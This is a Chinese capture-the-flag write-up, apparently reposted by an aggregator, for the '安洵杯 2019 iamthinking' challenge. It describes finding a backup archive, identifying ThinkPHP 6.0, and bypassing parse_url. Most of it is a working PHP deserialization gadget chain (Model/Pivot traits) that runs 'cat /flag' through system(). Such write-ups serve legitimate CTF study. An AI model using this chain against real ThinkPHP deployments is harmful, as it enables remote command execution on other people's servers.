[安洵杯 2019]iamthinking

Posted H3rmesk1t

tags:

篇首语:本文由小常识网(cha138.com)小编为大家整理,主要介绍了[安洵杯 2019]iamthinking相关的知识,希望对你有一定的参考价值。

[安洵杯 2019]iamthinking

考点

反序列化

思路

打开题目显示:You don’t have permission to access this resource.
试着扫一下有没有备份文件,得到www.zip
通过备份文件我们知道是Thinkphp 6.0版本
审计源码,构造thinkphp6反序列化,同时需要绕过parse_url

Payload

Poc

<?php
namespace think {

    use think\\model\\concern\\Attribute;
    use think\\model\\concern\\Conversion;
    use think\\model\\concern\\RelationShip;


    abstract class Model
    {
        use Conversion;
        use RelationShip;
        use Attribute;

        private $lazySave;
        protected $table;
        public function __construct($obj)
        {
            $this->lazySave = true;
            $this->table = $obj;
            $this->visible = array(array('hu3sky'=>'aaa'));
            $this->relation = array("hu3sky"=>'aaa');
            $this->data = array("a"=>'cat /flag');
            $this->withAttr = array("a"=>"system");
        }
    }
}

namespace think\\model\\concern {
    trait Conversion
    {
        protected $visible;
    }

    trait RelationShip
    {
        private $relation;
    }

    trait Attribute
    {
        private $data;
        private $withAttr;
    }
}

namespace think\\model {
    class Pivot extends \\think\\Model
    {
    }
}

namespace {
    $a = new think\\model\\Pivot('');
    $b = new think\\model\\Pivot($a);

    echo urlencode(serialize($b));
}

在这里插入图片描述

以上是关于[安洵杯 2019]iamthinking的主要内容,如果未能解决你的问题,请参考以下文章

[安洵杯 2019]easy_serialize_php

[安洵杯 2019]easy_serialize_php

刷题记录:[安洵杯 2019]easy_serialize_php

[安洵杯 2019]easy_web

[安洵杯 2019]easy_serialize_php

[安洵杯 2019]easy_serialize_php